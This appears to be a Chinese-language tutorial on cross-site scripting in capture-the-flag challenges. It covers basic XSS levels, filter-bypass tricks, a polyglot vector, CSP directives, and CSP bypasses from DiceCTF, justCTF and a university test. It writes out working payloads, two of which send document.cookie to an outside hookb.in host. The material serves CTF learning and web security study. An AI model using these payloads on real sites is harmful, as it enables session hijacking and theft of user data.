浅谈xss在ctf中的一些考点
字数 1845 2025-08-06 08:35:37
XSS在CTF中的常见考点与绕过技巧
热身小游戏:基础XSS示例
Level 1:无任何限制
<script>alert(1)</script>
- 最简单的XSS形式,直接使用
<script>标签执行JavaScript
Level 2:<script>标签被过滤
- 使用``标签和
onerror事件处理程序 - 当图片加载失败时会触发
onerror事件
Level 3:拼接注入
' onerror = 'alert(1)';
- 通过单引号闭合现有属性,然后添加新的事件处理程序
Level4:闭合括号注入
');alert('xss
- 手动闭合现有括号,然后添加新的JavaScript代码
Level5:<a>标签注入
javascript:alert(1)
- 使用JavaScript伪协议在
<a href>中执行代码
Level6:绕过URL检查
data:text/plain,alert('xss')
- 使用
data:协议绕过HTTP/HTTPS检查 - 也可通过大小写绕过:
HTtp://或HttP://
输入限制与绕过技巧
通用Polygot测试向量
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
1. 对标签的限制绕过
- 替代标签:
<svg> <a href> <iframe> <body> <input> - 大小写绕过:
<ScRiPt>alert(1)</ScRiPt> - 双写绕过(当只替换一次时):
<scrscriptipt>alert(1)</scrscriptipt> - HTML实体编码:
<script>alert(1)</script>
2. 对引号的限制绕过
- 使用
/ /代替引号:<script>alert(/1/);</script> - 使用
String.fromCharCode:<script>alert(String.fromCharCode(49));</script>
3. 对空格的限制绕过
- 使用URL编码的空格替代:
- 其他替代字符:
%09 (tab) %0a (换行) %0d (回车)
4. 对长度的限制
- 使用极短的XSS向量:
<script src=//xss.xx></script> - 参考terjanq的短XSS收集:
https://tinyxss.terjanq.me/
CSP绕过技术
CSP基础
Content Security Policy (内容安全策略) 旨在减少跨站脚本攻击,通过定义可信内容来源。
常见指令:
| 指令 | 说明 |
|---|---|
| default-src | 定义默认加载策略 |
| connect-src | 定义ajax、websocket等加载策略 |
| font-src | 定义font加载策略 |
| frame-src | 定义frame加载策略 |
| img-src | 定义图片加载策略 |
| media-src | 定义audio、video等资源加载策略 |
| object-src | 定义applet、embed、object等资源加载策略 |
| script-src | 定义js加载策略 |
| style-src | 定义css加载策略 |
| sandbox | 沙箱选项 |
| report-uri | 日志选项 |
常见属性值:
| 属性值 | 示例 | 说明 |
|---|---|---|
| * | img-src * | 允许从任意url加载 |
| 'none' | object-src 'none' | 禁止从任何url加载资源 |
| 'self' | img-src 'self' | 只可以加载同源资源 |
| data: | img-src 'self' data: | 可以通过data协议加载资源 |
| domain.example.com | img-src domain.example.com | 只可以从特定的域加载资源 |
| *.example.com | img-src *.example.com | 可以从任意example.com的子域处加载资源 |
| https://cdn.com | img-src https://cdn.com | 只能从给定的域用https加载资源 |
| https: | img-src https: | 只能从任意域用https加载资源 |
| 'unsafe-inline' | script-src 'unsafe-inline' | 允许内部资源执行代码 |
| 'unsafe-eval' | script-src 'unsafe-eval' | 允许js的eval()等动态执行 |
CSP绕过实例
1. DiceCTF2021 BabierCSP
- 漏洞点:nonce值固定不变
- 利用方式:构造带有相同nonce的恶意脚本
<script nonce=LRGWAXOY98Es0zz0QOVmag==> document.location='https://hookb.in/JKzebMwQPxIJPPWVoqdq/?c='+document.cookie</script>
2. 某国外大学测试题
- CSP配置:
script-src 'self' *.google.com - 利用Google子域下的回调函数:
"><script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.href='https://hookb.in/9XwRzarbRDS600eMoL7d?'%2bdocument.cookie;"></script>
3. justCTF baby-csp
- 利用PHP开发模式下的warning输出
- 通过大量warning填满缓冲区,使CSP头设置失效
<script>
name="fetch('?flag').then(e=>e.text()).then(alert)"
location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>